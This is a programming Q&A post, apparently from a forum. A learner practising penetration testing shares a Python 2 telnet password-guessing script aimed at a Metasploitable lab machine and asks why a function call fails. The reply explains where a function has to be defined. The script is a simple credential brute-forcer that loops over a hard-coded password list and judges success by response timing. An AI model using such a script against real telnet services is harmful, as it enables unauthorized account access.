How to call a function that is later in a Python script?
Question: I am currently learning Python for some penetration testing and was practicing
making password cracking scripts. While I was making a script for a telnet
pass cracker I ran into a problem with some of the functionality of it. While
trying to allow the user to output the findings, as well as some extra
information, I found my issue.

I am using getopt to take arguments for the script such as the ip, username,
and an output file (I am trying to make an option to put in a word list for
the passwords and usernames but I am still learning about using files).
Because a function has to be written above where it is called I am running
into the issue of needing the function in two places.

I need it above the getopt for loop, but I also need it in the for loop that
guesses the password. I have looked at a few possible solutions but I am
really confused by them as I am still somewhat new to Python. I do not really
know how to explain it well but the basis of what I need to do is to be able
to call the function before the function is written if anyone understands
that. Thank you for all the help in advance.

Also I know that there are most likely a lot more efficient ways to do what I
am trying, but I just wanted to mess around and see if I had the ability to do
this, no matter how unorganized the code is.

Here is my code:

    
    
    import telnetlib
    import re
    import sys
    import time
    import getopt
    from time import gmtime, strftime
    
    total_time_start = time.clock()
    
    #Get the arguments from the user
    try:
        opts, args = getopt.getopt(sys.argv[1:], "i:u:f:")
    except getopt.GetoptError as err:
        print str(err)
        sys.exit(2)
    
    passwords = ["hello","test", "msfadmin", "password"]
    username = " "
    ip = "0.0.0.0"
    output_file = " "
    
    
    for o, a in opts:
        if o == "-i":
            ip = a
        elif o in ("-u"):
            username =a 
        elif o in ("-f"):
            output_file = a
            file_out()
        else:
            assert False, "unhandled option"
    
    #Connect using the password and username from the for loop later in the  script.
    def connect(username, password, ip):
        global tn
        tn = telnetlib.Telnet(ip)
    
        print "[*] Trying " + username + " and " + password 
    
        tn.read_until("metasploitable login: ")
        tn.write(username + "\n")
        tn.read_until("Password: ")
        tn.write(password + "\n")
    
    #Guess the password
    for password in passwords:
        attempt = connect(username, password, ip)
        time_start = time.clock()
        if attempt == tn.read_until("msfadmin@metasploitable", timeout = 1):
            pass
        time_end = time.clock()
        time_finish = time_end - time_start
        #Determine if the password is correct or not
        if time_finish > 0.001000:
            print "\033[1;32;40m [*] Password '" + password + "' found for user '" + username+"'\033[0;37;40m\n"
            total_time_end = time.clock()
    
            total_time = (total_time_end - total_time_start)
    
            #Print the findings to a file that is selected from an argument
            def file_out():
                date = strftime("%a, %d %b %Y %H:%M:%S +0000", gmtime())
                fout = open(output_file, 'w')
                fout.write("Server IP: " + ip)
                fout.write("\nUsername is " + username)
                fout.write("Password is " + password)
                fout.write("\nCrack was conducted on " + date)
                fout.write("The crack took a total time of  " + total_time)
    
            sys.exit(0)
    

Here is the error I am getting:

python telnet_cracker.py -i [ip of metasploitable] -u msfadmin -f test.txt

    
    
    Traceback (most recent call last):
      File "telnet_cracker.py", line 49, in <module>
        file_out()
    NameError: name 'file_out' is not defined
    


Answer: Move the function to the top level of the script. Don't nest it inside of an
if statement inside of a loop.

There's no need to redefine a function in a loop (and defining it in a
conditional doesn't seem good either)

> a function has to be written above where it is called

Not quite. Functions simply need to be _defined_ before the code that runs
them. The functions don't need to explicitly be "above the code" where they
are called. Same logic applies to variables.

If you need to reference certain variables for the function, then use
parameters.

